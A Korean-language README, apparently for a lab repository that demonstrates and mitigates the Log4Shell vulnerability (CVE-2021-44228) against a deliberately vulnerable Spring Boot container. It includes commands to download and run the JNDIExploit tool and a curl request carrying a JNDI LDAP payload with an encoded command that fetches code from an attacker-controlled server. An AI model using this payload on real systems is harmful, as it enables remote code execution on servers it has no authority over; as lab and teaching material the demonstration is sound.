
이 저장소는 Log4j 2021(CVE-2021-44228) 취약점 시연 및 완화를 위한 것입니다.
이 저장소는 Log4j 2021(CVE-2021-44228) 취약점 시연 및 완화를 위한 것입니다.
CVE-2021-44228 / Log4Shell 취약점은 취약한 소프트웨어에 악성 페이로드를 주입하여, Log4J가 JNDI와 LDAP 프로토콜을 통해 제3자 소스에서 값을 가져오도록 요청하게 만드는 것입니다. ... 가져온 데이터는 코드일 수 있으며, 해당 코드는 시스템에서 Log4J에 의해 실행됩니다.
우리는 Docker에서 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션을 실행합니다. 이 애플리케이션은 @christophetd가 Log4Shell이라고 명명했습니다.
이 애플리케이션은 Log4j 2.14.1(spring-boot-starter-log4j2 2.6.1을 통해)과 JDK 1.8.0_181을 사용합니다.
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

이 경우 웹 아카이브에서 Log4Shell용 JNDI Exploit을 다운로드하지만, 사용 가능한 곳 어디에서든 다운로드할 수 있습니다.
wget https://web.archive.org/web/20211211031401/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip


Log4Shell 애플리케이션의 Docker를 실행 중인 우리 머신의 IP 주소를 확인합니다.
ifconfig

Log4Shell용 JNDI Exploit이 포함된 zip 파일의 압축을 풀어 JAR 파일을 얻은 다음, 3단계에서 얻은 우리 IP를 지정하여 실행합니다.
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'


docker exec vulnerable-app ls /tmp

Windows 및 Linux에서 Log4Shell 취약점을 완화하는 방법에 대한 비디오: 완화

Feryael Justice 2022